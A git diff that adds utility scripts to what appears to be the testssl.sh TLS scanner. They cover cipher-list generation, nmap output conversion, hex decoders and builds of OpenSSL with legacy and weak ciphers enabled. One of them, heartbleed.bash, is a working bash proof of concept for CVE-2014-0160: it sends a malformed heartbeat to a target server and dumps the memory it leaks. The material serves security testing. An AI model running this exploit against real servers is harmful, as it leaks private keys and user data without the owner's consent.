+ hexc="${TLS_CIPHER_HEXCODE[i]}"
+ [[ "${TLS_CIPHER_OSSL_NAME[i]}" != "-" ]] && exportdh_cipher_list+=":${TLS_CIPHER_OSSL_NAME[i]}"
+ exportdh_cipher_list_hex+=", ${hexc:2:2},${hexc:7:2}"
+ fi
+ done
+
+ outln; pr_underline "Weak ephemeral DH ciphers for run_logjam()"; outln
+ outln "exportdh_cipher_list=\"${exportdh_cipher_list:1}\""
+ outln "exportdh_cipher_list_hex=\"${exportdh_cipher_list_hex:2}\""
+}
+
+get_dhe_ciphers() {
+ local -i
+ local hexc all_dh_ciphers=""
+
+ for (( i=0; i < TLS_NR_CIPHERS; i++ )); do
+ if [[ "${TLS_CIPHER_RFC_NAME[i]}" == "TLS_DHE_"* ]] || [[ "${TLS_CIPHER_RFC_NAME[i]}" == "TLS_DH_anon_"* ]]; then
+ hexc="${TLS_CIPHER_HEXCODE[i]}"
+ all_dh_ciphers+=", ${hexc:2:2},${hexc:7:2}"
+ fi
+ done
+
+ outln; pr_underline "All ephemeral DH ciphers for run_logjam()"; outln
+ outln "all_dh_ciphers=\"$(tolower "${all_dh_ciphers:2}")\""
+}
+
+get_mapping_file
+get_robust_pfs_ciphers
+get_std_cipherlists
+get_all_cbc_ciphers
+get_cbc_ciphers
+get_sslv3_tls1_cbc_ciphers
+get_export_rsa_ciphers
+get_weak_dh_ciphers
+get_dhe_ciphers
+outln
+
+exit $?
diff --git a/utils/gmap2testssl.sh b/utils/gmap2testssl.sh
new file mode 100755
index 0000000..3962407
--- /dev/null
+++ b/utils/gmap2testssl.sh
@@ -0,0 +1,168 @@
+#!/usr/bin/env bash
+
+# Utility which converts grepable nmap output to testssl's file input
+# It is just borrowed from testssl.sh
+# License see testssl.sh
+
+
+echo A | sed -E 's/A//' >/dev/null 2>&1 && \
+declare -r HAS_SED_E=true || \
+declare -r HAS_SED_E=false
+
+usage() {
+ cat << EOF
+
+usage:
+
+ "$0 <filename>": looks for <filename> (nmap gmap format) and converts into basename \$(filename)-testssl.txt"
+
+EOF
+ exit 0
+}
+
+fatal () {
+ echo "$1" >&2
+ exit $2
+}
+
+is_ipv4addr() {
+ local octet="(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])"
+ local ipv4address="$octet\\.$octet\\.$octet\\.$octet"
+
+ [[ -z "$1" ]] && return 1
+
+ # Check that $1 contains an IPv4 address and nothing else
+ [[ "$1" =~ $ipv4address ]] && [[ "$1" == $BASH_REMATCH ]] && \
+ return 0 || \
+ return 1
+}
+
+filter_ip4_address() {
+ local a
+
+ for a in "$@"; do
+ if ! is_ipv4addr "$a"; then
+ continue
+ fi
+ if "$HAS_SED_E"; then
+ sed -E 's/[^[:digit:].]//g' <<< "$a" | sed -e '/^$/d'
+ else
+ sed -r 's/[^[:digit:].]//g' <<< "$a" | sed -e '/^$/d'
+ fi
+ done
+}
+
+# arg1: a host name. Returned will be 0-n IPv4 addresses
+# watch out: $1 can also be a cname! --> all checked
+get_a_record() {
+ local ip4=""
+ local noidnout=""
+
+ ip4=$(filter_ip4_address $(dig -r +short +timeout=2 +tries=2 -t a "$1" 2>/dev/null | awk '/^[0-9]/ { print $1 }'))
+ if [[ -z "$ip4" ]]; then
+ ip4=$(filter_ip4_address $(host -t a "$1" 2>/dev/null | awk '/address/ { print $NF }'))
+ fi
+ if [[ -z "$ip4" ]]; then
+ ip4=$(filter_ip4_address $(drill a "$1" | awk '/ANSWER SECTION/,/AUTHORITY SECTION/ { print $NF }' | awk '/^[0-9]/'))
+ fi
+ echo "$ip4"
+}
+
+ports2starttls() {
+ local tcp_port=$1
+ local ret=0
+
+ # https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers
+ case $tcp_port in
+ 21) echo "-t ftp " ;;
+ 23) echo "-t telnet " ;;
+ 119|433) echo "-t nntp " ;; # to come
+ 25|587) echo "-t smtp " ;;
+ 110) echo "-t pop3 " ;;
+ 143) echo "-t imap " ;;
+ 389) echo "-t ldap ";;
+ 3306) echo "-t mysql " ;;
+ 5222) echo "-t xmpp " ;; # domain of jabber server maybe needed
+ 5432) echo "-t postgres " ;;
+ 563) ;; # NNTPS
+ 636) ;; # LDAP
+ 1443|8443|443|981) ;; # HTTPS
+ 465) ;; # HTTPS | SMTP
+ 631) ;; # CUPS
+ 853) ;; # DNS over TLS
+ 995|993) ;; # POP3|IMAP
+ 3389) ;; # RDP
+ *) ret=1 ;; # we don't know this ports so we rather do not scan it
+ esac
+ return $ret
+}
+
+nmap_to_plain_file () {
+
+ local fname="$1"
+ local target_fname=""
+ local oneline=""
+ local ip hostdontcare round_brackets ports_specs starttls
+ local tmp port host_spec protocol ssl_hint dontcare dontcare1
+
+ # Ok, since we are here we are sure to have an nmap file. To avoid questions we make sure it's the right format too
+ if [[ "$(head -1 "$fname")" =~ ( -oG )(.*) ]] || [[ "$(head -1 "$fname")" =~ ( -oA )(.*) ]] ; then
+ # yes, greppable
+ if [[ $(grep -c Status "$fname") -ge 1 ]]; then
+ [[ $(grep -c '\/open\/' "$fname") -eq 0 ]] && \
+ fatal "Nmap file $fname should contain at least one open port" 250
+ else
+ fatal "strange, nmap grepable misses \"Status\"" 251
+ fi
+ else
+ fatal "Nmap file $fname is not in grep(p)able format (-oG filename.g(n)map)" 250
+ fi
+ target_fname="${fname%.*}"-testssl.txt
+ [[ -e $target_fname ]] && fatal "$target_fname already exists" 3
+ > "${target_fname}" || fatal "Cannot create \"${target_fname}\"" 252
+
+ # Line x: "Host: AAA.BBB.CCC.DDD (<FQDN>) Status: Up"
+ # Line x+1: "Host: AAA.BBB.CCC.DDD (<FQDN>) Ports: 443/open/tcp//https///"
+ # (or): Host: AAA.BBB.CCC.DDD (<FQDN>) Ports: 22/open/tcp//ssh//<banner>/, 25/open/tcp//smtp//<banner>/, 443/open/tcp//ssl|http//<banner>
+ while read -r hostdontcare ip round_brackets tmp ports_specs; do
+ [[ "$ports_specs" =~ "Status: " ]] && continue # we don't need this
+ [[ "$ports_specs" =~ '/open/tcp/' ]] || continue # no open tcp at all for this IP --> move
+ host_spec="$ip"
+ fqdn="${round_brackets/\(/}"
+ fqdn="${fqdn/\)/}"
+ if [[ -n "$fqdn" ]]; then
+ tmp="$(get_a_record "$fqdn")"
+ if [[ "$tmp" == "$ip" ]]; then
+ host_spec="$fqdn"
+ fi
+ fi
+ while read -r oneline; do
+ # 25/open/tcp//smtp//<banner>/,
+ [[ "$oneline" =~ '/open/tcp/' ]] || continue # no open tcp for this port on this IP --> move on
+ IFS=/ read -r port dontcare protocol ssl_hint dontcare1 <<< "$oneline"
+ if [[ "$ssl_hint" =~ ^(ssl|https) ]] || [[ "$dontcare1" =~ ^(ssl|https) ]]; then
+ echo "${host_spec}:${port}" >>"$target_fname"
+ else
+ starttls="$(ports2starttls $port)"
+ [[ $? -eq 1 ]] && continue # nmap got a port but we don't know how to speak to
+ echo "${starttls}${host_spec}:${port}" >>"$target_fname"
+ fi
+ done < <(tr ',' '\n' <<< "$ports_specs")
+ done < "$fname"
+
+ [[ -s "$target_fname" ]] || fatal "Couldn't find any open port in $fname" 253
+ echo "$target_fname written successfully"
+ return 0
+}
+
+
+[[ -z "$1" ]] && usage
+FNAME="$1"
+[[ ! -e $FNAME ]] && echo "$FNAME not readable" && exit 2
+
+nmap_to_plain_file "$FNAME"
+
+exit $?
+
+# vim:ts=5:sw=5:expandtab
+
diff --git a/utils/heartbleed.bash b/utils/heartbleed.bash
new file mode 100755
index 0000000..3129c36
--- /dev/null
+++ b/utils/heartbleed.bash
@@ -0,0 +1,307 @@
+#!/usr/bin/env bash
+
+# POC bash socket implementation of heartbleed (CVE-2014-0160), see also http://heartbleed.com/
+# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt
+#
+# sockets inspired by http://blog.chris007.de/?p=238
+# heartbleed mainly adapted from https://gist.github.com/takeshixx/10107280
+#
+# handshakes from RFCs. Good source too: https://github.com/ioerror/sslscan/blob/master/sslscan.c
+#
+###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
+
+readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
+trap "cleanup" QUIT EXIT
+
+[ -z "$1" ] && exit 1
+
+NODE="$1"
+PORT="443"
+JABBERNODE=${JABBERNODE}
+SLEEP=2
+MAXSLEEP=10
+SOCKREPLY=""
+COL_WIDTH=32
+DEBUG=${DEBUG:-0}
+HELLO_READBYTES=${HELLO_READBYTES:-65535}
+
+# TLS 1.0=x01 1.1=0x02, 1.2=0x3
+TLSV=${2:-01}
+
+
+heartbleed_payload="\x18\x03\x$TLSV\x00\x03\x01\x40\x00"
+## ^^^^^^^ this is the whole thing!
+
+client_hello="
+# TLS header (5 bytes)
+,x16, # Content type (x16 for handshake)
+x03, x$TLSV, # TLS Version
+x00, xdc, # Length
+# Handshake header
+x01, # Type (x01 for ClientHello)
+x00, x00, xd8, # Length
+x03, x$TLSV, # TLS Version
+# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
+x53, x43, x5b, x90, x9d, x9b, x72, x0b,
+xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
+xcf, xbd, x39, x04, xcc, x16, x0a, x85,
+x03, x90, x9f, x77, x04, x33, xd4, xde,
+x00, # Session ID length
+x00, x66, # Cipher suites length
+# Cipher suites (51 suites)
+xc0, x14, xc0, x0a, xc0, x22, xc0, x21,
+x00, x39, x00, x38, x00, x88, x00, x87,
+xc0, x0f, xc0, x05, x00, x35, x00, x84,
+xc0, x12, xc0, x08, xc0, x1c, xc0, x1b,
+x00, x16, x00, x13, xc0, x0d, xc0, x03,
+x00, x0a, xc0, x13, xc0, x09, xc0, x1f,
+xc0, x1e, x00, x33, x00, x32, x00, x9a,
+x00, x99, x00, x45, x00, x44, xc0, x0e,
+xc0, x04, x00, x2f, x00, x96, x00, x41,
+xc0, x11, xc0, x07, xc0, x0c, xc0, x02,
+x00, x05, x00, x04, x00, x15, x00, x12,
+x00, x09, x00, x14, x00, x11, x00, x08,
+x00, x06, x00, x03, x00, xff,
+x01, # Compression methods length
+x00, # Compression method (x00 for NULL)
+x00, x49, # Extensions length
+# Extension: ec_point_formats
+x00, x0b, x00, x04, x03, x00, x01, x02,
+# Extension: elliptic_curves
+x00, x0a, x00, x34, x00, x32, x00, x0e,
+x00, x0d, x00, x19, x00, x0b, x00, x0c,
+x00, x18, x00, x09, x00, x0a, x00, x16,
+x00, x17, x00, x08, x00, x06, x00, x07,
+x00, x14, x00, x15, x00, x04, x00, x05,
+x00, x12, x00, x13, x00, x01, x00, x02,
+x00, x03, x00, x0f, x00, x10, x00, x11,
+# Extension: SessionTicket TLS
+x00, x23, x00, x00,
+# Extension: Heartbeat
+x00, x0f, x00, x01, x01
+"
+#msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`
+msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n')
+
+
+parse_hn_port() {
+ # strip "https", supposed it was supplied additionally
+ echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `
+
+ # strip trailing urlpath
+ NODE=`echo $NODE | sed -e 's/\/.*$//'`
+
+ # determine port, supposed it was supplied additionally
+ echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'`
+ echo -e "\n===> connecting to $NODE:$PORT\n"
+}
+
+debugme() {
+ [[ $DEBUG -ge 2 ]] && "$@"
+}
+
+
+wait_kill(){
+ pid=$1
+ maxsleep=$2
+ while true; do
+ if ! ps $pid >/dev/null ; then
+ return 0 # didn't reach maxsleep yet
+ fi
+ sleep 1
+ maxsleep=$((maxsleep - 1))
+ test $maxsleep -eq 0 && break
+ done # needs to be killed
+ kill $pid >&2 2>/dev/null
+ wait $pid 2>/dev/null
+ return 3 # killed
+}
+
+
+socksend() {
+ data=`echo $1`
+ echo "\"$data\""
+ echo -en "$data" >&5 &
+ sleep $SLEEP
+}
+
+
+sockread() {
+ [[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2
+ ret=0
+
+ ddreply=$(mktemp /tmp/ddreply.XXXXXX) || return 7
+ dd bs=$1 of=$ddreply count=1 <&5 2>/dev/null &
+ wait_kill $! $maxsleep
+ ret=$?
+ SOCKREPLY=$(cat $ddreply)
+ [ $DEBUG -eq 0 ] && rm $ddreply
+
+ return $ret
+}
+
+
+starttls_just_read(){
+ echo "=== just read banner ==="
+ cat <&5 &
+ wait_kill $! $SLEEP
+}
+
+# arg1: string to send
+# arg2: possible success strings a egrep pattern, needed!
+starttls_line0() {
+ reply=$(mktemp /tmp/reply.XXXXXX) || return 7
+
+ debugme echo -e "\n=== sending \"$1\" ..."
+ echo -e "$1" >&5
+ dd bs=1024 of=$reply count=32 <&5 2>/dev/null &
+ wait_kill $! $SLEEP
+ debugme echo "... received result: "
+ cat $reply
+ if [ -n "$2" ]; then
+ if grep -Eq "$2" $reply; then
+ debugme echo "---> reply matched \"$2\""
+ [ $DEBUG -eq 0 ] && rm $reply
+ return 0
+ else
+ debugme echo "---> reply didn't match \"$2\", see $reply"
+ fixme "STARTTLS handshake problem"
+ exit 1
+ fi
+ fi
+}
+
+starttls_line1() {
+ echo "$1" >&5
+ while true; do
+ read line <&5
+ echo $line
+ break
+ done
+}
+
+fixme(){
+ tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0
+}
+
+
+fd_socket(){
+ local jabber=""
+
+ if ! exec 5<> /dev/tcp/$NODE/$PORT; then
+ echo "`basename $0`: unable to connect to $NODE:$PORT"
+ exit 2
+ fi
+
+ case "$1" in # port
+ 21) # https://tools.ietf.org/html/rfc4217
+ starttls_just_read
+ starttls_line0 "FEAT" "211"
+ #starttls_line0 HELP "214"
+ starttls_line0 "AUTH TLS" "successful|234"
+ ;;
+ 25) # SMTP, see https://tools.ietf.org/html/rfc4217
+ starttls_just_read
+ starttls_line0 "EHLO testssl.sh" "220|250"
+ starttls_line0 "STARTTLS" "220"
+ ;;
+ 110) # POP, see https://tools.ietf.org/html/rfc2595
+ starttls_just_read
+ starttls_line0 "STLS" "OK"
+ ;;
+ 119|433) # NNTP, see https://tools.ietf.org/html/rfc4642
+ starttls_just_read
+ starttls_line0 "CAPABILITIES" "101|200"
+ starttls_line0 "STARTTLS" "382"
+ ;;
+ 143) # IMAP, https://tools.ietf.org/html/rfc2595
+ starttls_just_read
+ starttls_line0 "a001 CAPABILITY" "OK"
+ starttls_line0 "a002 STARTTLS" "OK"
+ ;;
+ 389) # LDAP, https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511
+ fixme "LDAP: FIXME not yet implemented"
+ exit 1
+ ;;
+ 674) # ACAP = Application Configuration Access Protocol, see https://tools.ietf.org/html/rfc2595
+ fixme "ACAP: FIXME not yet implemented"
+ exit 1
+ ;;
+ 5222) # XMPP, see https://tools.ietf.org/html/rfc6120
+ starttls_just_read
+ # following would be without hostname, jabber.org doesn't need it, others do!
+ #starttls_line0 "<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' version='1.0'>\r\n"
+ [ -z $JABBERNODE ] && JABBERNODE="$NODE"
+ # as ioerror says: $NODE is not always the correct one, some jabber implementations need a special hostname!
+ # supply $JABBERNODE in ENV and you're set, like: DEBUG=2 JABBERNODE=google.com ./heartbleed.bash talk.google.com:5222
+ jabber=$(cat <<EOF
+<?xml version='1.0' ?>
+<stream:stream
+xmlns:stream='http://etherx.jabber.org/streams'
+xmlns='jabber:client'
+to='$JABBERNODE'
+xml:lang='en'
+version='1.0'>
+EOF
+)
+ starttls_line0 "$jabber"
+ starttls_line0 "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" "proceed"
+ # BTW: https://xmpp.net !
+ ;;
+ 443|995|993|465|*) # we don't need a special pre-command here
+ ;;
+ esac
+ echo
+}
+
+close_socket(){
+ exec 5<&-
+ exec 5>&-
+ return 0
+}
+
+cleanup() {
+ close_socket
+}
+
+
+#### main
+
+parse_hn_port "$1"
+fd_socket $PORT
+
+echo "##### sending standard client hello with TLS version 03,$TLSV:"
+socksend "$msg" $TLSV
+
+sockread $HELLO_READBYTES
+echo "##### reading server hello ($HELLO_READBYTES bytes):"
+echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -10
+echo "[...]"
+echo
+if [ 1 -ge $(echo "$SOCKREPLY" | xxd | wc -l) ]; then
+ tput bold; tput setaf 5; echo "TLS handshake failed"; tput sgr0
+ exit 1
+fi
+
+echo "###### sending payload with TLS version 03,$TLSV:"
+socksend $heartbleed_payload $TLSV
+
+sockread 65534
+echo "###### heartbleed reply: "
+echo "============================="
+echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -20
+echo "============================="
+
+if [ $(echo "$SOCKREPLY" | xxd | wc -l) -gt 1 ]; then
+ tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0
+ ret=1
+else
+ tput bold; tput setaf 2; echo "ok"; tput sgr0
+ ret=0
+fi
+echo
+
+exit $ret
+
+# vim:ts=5:sw=5:expandtab
+# $Id: heartbleed.bash,v 1.14 2015/07/06 19:26:38 dirkw Exp $
diff --git a/utils/hexstream2cipher.sh b/utils/hexstream2cipher.sh
new file mode 100755
index 0000000..fff0689
--- /dev/null
+++ b/utils/hexstream2cipher.sh
@@ -0,0 +1,38 @@
+#!/usr/bin/env bash
+
+hs="$1"
+len=${#hs}
+echo "# ciphers: $((len/4))"
+
+mapfile="etc/cipher-mapping.txt"
+[ -s $mapfile ] || mapfile="../$mapfile"
+[ -s $mapfile ] || exit 255
+
+cip=""
+first=true
+
+for ((i=0; i<len ; i+=4)); do
+ printf "%02d" "$i"
+ echo -n ": ${hs:$i:4}"
+ grepstr="0x${hs:$i:2},0x${hs:$((i+2)):2}"
+ echo -n " --> $grepstr --> "
+ cip=$(grep -i -E "^ *${grepstr}" $mapfile | awk '{ print $3 }')
+ if [[ $grepstr == 0x00,0xff ]]; then
+ echo TLS_EMPTY_RENEGOTIATION_INFO_SCSV
+ else
+ echo $cip
+ fi
+ if "$first"; then
+ ciphers="$cip"
+ first=false
+ else
+ ciphers="$ciphers:$cip"
+ fi
+done
+
+echo
+# remove leading : because of GREASE, and trailing because of TLS_EMPTY_RENEGOTIATION_INFO_SCSV
+ciphers="${ciphers%:}"
+echo ${ciphers#:}
+
+# vim:ts=5:sw=5:expandtab
diff --git a/utils/hexstream2curves.sh b/utils/hexstream2curves.sh
new file mode 100755
index 0000000..0f842e4
--- /dev/null
+++ b/utils/hexstream2curves.sh
@@ -0,0 +1,38 @@
+#!/usr/bin/env bash
+
+hs="$1"
+len=${#hs}
+echo "# curves: $((len/4))"
+
+mapfile="etc/curves-mapping.txt"
+[ -s $mapfile ] || mapfile="../$mapfile"
+[ -s $mapfile ] || exit 255
+
+cur=""
+first=true
+
+for ((i=0; i<len ; i+=4)); do
+ printf "%02d" "$i"
+ echo -n ": ${hs:$i:4}"
+ grepstr="0x${hs:$i:2},0x${hs:$((i+2)):2}"
+ echo -n " --> $grepstr --> "
+ cur=$(grep -i -E "^ *${grepstr}" $mapfile | awk '{ print $3 }')
+ if [[ $grepstr == 0x00,0xff ]]; then
+ echo TPM_ECC_NONE
+ else
+ echo $cur
+ fi
+ if "$first"; then
+ curves="$cur"
+ first=false
+ else
+ curves="$curves:$cur"
+ fi
+done
+
+echo
+# remove leading : because of GREASE, and trailing because of TPM_ECC_NONE
+curves="${curves%:}"
+echo ${curves#:}
+
+# vim:ts=5:sw=5:expandtab
diff --git a/utils/make-openssl.sh b/utils/make-openssl.sh
new file mode 100755
index 0000000..931406a
--- /dev/null
+++ b/utils/make-openssl.sh
@@ -0,0 +1,160 @@
+#!/usr/bin/env bash
+#
+# This script compiles the "bad openssl" version, 1.0.2 supporting legacy
+# cryptography for Linux, FreeBSD and Darwin.
+#
+# License GPLv2, see ../LICENSE
+
+
+STDOPTIONS="--prefix=/usr/ -DOPENSSL_USE_BUILD_DATE enable-zlib \
+enable-ssl2 enable-ssl3 enable-ssl-trace enable-rc5 enable-rc2 \
+enable-gost enable-cms enable-md2 enable-mdc2 enable-ec enable-ec2m enable-ecdh enable-ecdsa \
+enable-seed enable-camellia enable-idea enable-rfc3779 experimental-jpake"
+
+
+error() {
+ tput bold
+ echo "### ERROR $1 ###"
+ tput sgr0
+ exit 2
+}
+
+clean() {
+ case $NOCLEAN in
+ yes|Y|YES) ;;
+ *)
+ if [ -e "Makefile" ]; then
+ make clean
+ [ $? -ne 0 ] && error "no openssl directory"
+ fi
+ ;;
+ esac
+ return 0
+}
+
+makeall() {
+ make depend || error "depend"
+ make || error "making"
+ make report || error "testing/make report"
+ #FIXME: we need another error handler, as of now a failure doesn't mean a return status of != 0
+ # see https://github.com/openssl/openssl/pull/336
+ return 0
+}
+
+copyfiles() {
+ local ret
+ local target=../openssl.$(uname).$(uname -m).$1
+
+ echo; apps/openssl version -a; echo
+ if [ -e "$target" ]; then
+ case $(uname) in
+ *BSD|*Darwin)
+ mv $target $target-$(stat -f "%Sm" -t "%Y-%m-%d %H:%M" "$target" | sed -e 's/ .*$//' -e 's/-//g')
+ ;;
+ *) mv $target $target-$(stat -c %y $target | awk '{ print $1 }' | sed -e 's/ .*$//' -e 's/-//g') ;;
+ esac
+ fi
+ cp -pf apps/openssl ../openssl.$(uname).$(uname -m).$1
+ ret=$?
+ echo
+ ls -l apps/openssl ../openssl.$(uname).$(uname -m).$1
+ return $ret
+}
+
+testv6_patch() {
+ if grep -q 'ending bracket for IPv6' apps/s_socket.c; then
+ STDOPTIONS="$STDOPTIONS -DOPENSSL_USE_IPV6"
+ echo "detected IPv6 patch thus compiling in IPv6 support"
+ echo
+ else
+ echo
+ echo "no IPv6 patch (Fedora) detected!! -- Press ^C and dl & apply from"
+ echo "https://github.com/drwetter/testssl.sh/blob/master/bin/fedora-dirk-ipv6.diff"
+ echo "or press any key to ignore"
+ echo
+ read a
+ fi
+}
+
+
+
+echo
+echo "###################################################################"
+echo "####### Build script for Peter Mosmans openssl fork #######"
+echo "####### which contains all broken and all advanced features #######"
+echo "###################################################################"
+echo
+
+testv6_patch
+
+if [ "$1" = krb ]; then
+ name2add=krb
+else
+ if [ $(uname) != "Darwin" ]; then
+ name2add=static
+ else
+ name2add=dynamic
+ fi
+fi
+
+echo "doing a build for $(uname).$(uname -m)".$name2add
+echo
+sleep 3
+
+
+case $(uname) in
+ Linux|FreeBSD)
+ openssldir_option='--openssldir=/etc/ssl'
+ case $(uname -m) in
+ i686|armv7l) clean
+ if [ "$1" = krb ]; then
+ ./config $openssldir_option $STDOPTIONS no-ec_nistp_64_gcc_128 --with-krb5-flavor=MIT
+ else
+ ./config $openssldir_option $STDOPTIONS no-ec_nistp_64_gcc_128 -static
+ fi
+ [ $? -ne 0 ] && error "configuring"
+ ;;
+ x86_64|amd64) clean
+ if [ "$1" = krb ]; then
+ ./config $openssldir_option $STDOPTIONS enable-ec_nistp_64_gcc_128 --with-krb5-flavor=MIT
+ else
+ ./config $openssldir_option $STDOPTIONS enable-ec_nistp_64_gcc_128 -static
+ fi
+ [ $? -ne 0 ] && error "configuring"
+ ;;
+ *) echo " Sorry, don't know this architecture $(uname -m)"
+ exit 1
+ ;;
+ esac
+ ;;
+ Darwin)
+ openssldir_option='--openssldir=/private/etc/ssl/'
+ case $(uname -m) in
+ # No Kerberos (yet?) for Darwin. Static doesn't work for Darwin (#1204)
+ x86_64) clean || echo "nothing to clean"
+ ./Configure $openssldir_option $STDOPTIONS enable-ec_nistp_64_gcc_128 darwin64-x86_64-cc
+ [ $? -ne 0 ] && error "configuring"
+ ;;
+ i386) clean || echo "nothing to clean"
+ ./config $openssldir_option $STDOPTIONS no-ec_nistp_64_gcc_128 darwin64-x86_64-cc
+ [ $? -ne 0 ] && error "configuring"
+ ;;
+ esac
+ ;;
+ *) echo " Sorry, don't know this OS $(uname)"
+ ;;
+esac
+
+
+makeall && copyfiles "$name2add"
+[ $? -ne 0 ] && error "copying files"
+echo
+echo "(w/o 4 GOST ciphers): $(apps/openssl ciphers -V 'ALL:COMPLEMENTOFALL' | wc -l)"
+echo
+echo "------------ all ok ------------"
+echo
+
+
+# vim:ts=5:sw=5:expandtab
+# $Id: make-openssl.sh,v 1.20 2019/02/22 09:07:07 dirkw Exp $
+
diff --git a/utils/make-openssl111.sh b/utils/make-openssl111.sh
new file mode 100755
index 0000000..3bdbe18
--- /dev/null
+++ b/utils/make-openssl111.sh
@@ -0,0 +1,98 @@
+#!/usr/bin/env bash
+#
+# vim:ts=5:sw=5:expandtab
+#
+# Script compiling OpenSSL 1.1.1 from GitHub. Not yet particular sophisticated.
+# Just meant to provide a help to get the compile job done
+
+echo
+echo "#####################################################"
+echo "####### Build script for openssl 1.1.1 #######"
+echo "####### (contains some weak cryptography) #######"
+echo "#####################################################"
+echo
+
+OPT11="enable-tls1_3 enable-ec_nistp_64_gcc_128 sctp enable-aria enable-asan enable-rc5 \
+enable-ssl3 enable-ssl3-method enable-dynamic-engine enable-ssl-trace \
+-DOPENSSL_TLS_SECURITY_LEVEL=0 "
+
+STDOPTIONS="--prefix=/usr/ --openssldir=/etc/ssl -DOPENSSL_USE_BUILD_DATE enable-zlib \
+enable-heartbeats enable-rc5 enable-md2 enable-ssl3 enable-weak-ssl-ciphers zlib no-shared \
+enable-rc2 enable-gost enable-cms enable-mdc2 enable-ec enable-ec2m enable-ecdh enable-ecdsa \
+enable-seed enable-camellia enable-idea enable-rfc3779"
+
+grep OPENSSL_VERSION_TEXT include/openssl/opensslv.h | grep -q 1.1.1 && STDOPTIONS="$STDOPTIONS $OPT11"
+
+clean() {
+ case $NOCLEAN in
+ yes|Y|YES) ;;
+ *) make clean ;;
+ esac
+ #[ $? -ne 0 ] && error "no openssl directory"
+ return 0
+}
+
+error() {
+ tput bold
+ echo "ERROR $1"
+ tput sgr0
+ exit 2
+}
+
+makeall() {
+ make depend && make -j2 # && make report
+ if [ $? -ne 0 ]; then
+#FIXME: we need another error handler, as a failure doesn't mean here anymore a return status of 1
+ error "making"
+ return 1
+ fi
+ return 0
+}
+
+copyfiles() {
+ echo; apps/openssl version -a; echo
+ cp -p apps/openssl ../openssl.$(uname).$(uname -m).$1
+ echo
+ return $?
+}
+
+
+case $(uname -m) in
+ "i686") clean
+ if [[ "$1" = krb ]]; then
+ name2add=krb
+ ./config $STDOPTIONS --with-krb5-flavor=MIT
+ else
+ name2add=static
+ #export CFLAGS='-fPIC'
+ ./config $STDOPTIONS -static
+ fi
+ [ $? -ne 0 ] && error "configuring"
+ makeall && copyfiles "$name2add"
+ [ $? -ne 0 ] && error "copying files"
+ apps/openssl ciphers -V 'ALL:COMPLEMENTOFALL' | wc -l
+ echo
+ echo "------------ all ok ------------"
+ echo
+ ;;
+ "x86_64") clean
+ if [[ "$1" = krb ]]; then
+ name2add=krb
+ ./config $STDOPTIONS --with-krb5-flavor=MIT
+ else
+ name2add=static
+ ./config $STDOPTIONS -static
+ fi
+ [ $? -ne 0 ] && error "configuring"
+ makeall && copyfiles "$name2add"
+ [ $? -ne 0 ] && error "copying files"
+ # see ciphers(1), SSL_CTX_set_security_level(3)
+ apps/openssl ciphers -V 'ALL:COMPLEMENTOFALL:@SECLEVEL=0' | wc -l
+ echo
+ echo "------------ all ok ------------"
+ echo
+ ;;
+ *) echo " Sorry, don't know this architecture $(uname -m)"
+ exit 1
+ ;;
+esac
diff --git a/utils/parse_client_ciphers.pl b/utils/parse_client_ciphers.pl
new file mode 100755
index 0000000..bad39e2
--- /dev/null
+++ b/utils/parse_client_ciphers.pl
@@ -0,0 +1,45 @@
+#!/usr/bin/perl
+
+use strict;
+use Data::Dumper;
+
+my @spec;
+my %ciphers;
+
+# Turn cipher section of page like this https://www.ssllabs.com/ssltest/viewClient.html?name=Android&version=4.0.4
+# into an openssl cipher spec
+
+foreach my $line ( split /\n/, `../bin/openssl.Linux.x86_64 ciphers -V 'ALL:COMPLEMENTOFALL:\@STRENGTH'`) {
+ my @fields = split /\s+/, $line;
+ my $hex = "";
+ foreach my $byte ( split /,/, $fields[1] ) {
+ $byte = lc $byte;
+ $byte =~ s/^0x//;
+ $hex .= $byte;
+ }
+ $hex =~ s/^0+//;
+ $ciphers{"0x$hex"} = $fields[3];
+}
+
+while (<>) {
+ chomp;
+ if ( $_ =~ /^(TLS|SSL)/ ) {
+ if ( $_ !~ /^TLS_EMPTY_RENEGOTIATION_INFO_SCSV/ ) {
+ $_ =~ /(0x[0-9a-f]+)/;
+ if ( $1 ) {
+ push @spec, $ciphers{$1};
+ unless ( $ciphers{$1} ) {
+ die "Unable to find cipher for $1";
+ }
+ } else {
+ print "** $_\n";
+ }
+ }
+ }
+}
+print join ":", @spec;
+print "\n";
+my $count = @spec;
+print "$count ciphers\n";
+
+# vim:ts=5:sw=5:expandtab
diff --git a/utils/prototype.ssl2proto-check.bash b/utils/prototype.ssl2proto-check.bash
new file mode 100755
index 0000000..a2cf832
--- /dev/null
+++ b/utils/prototype.ssl2proto-check.bash
@@ -0,0 +1,232 @@
+#!/usr/bin/env bash
+
+# bash socket implementation of checking the availability of SSLv2 protocol
+# and ciphers on a remote server (loosely based on my bash-heartbleed implementation).
+#
+# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt
+
+# it helps to wireshark:
+# /<path>/openssl s_client -state -ssl2 -connect AA.BB.YYY.XXX:443 </dev/null
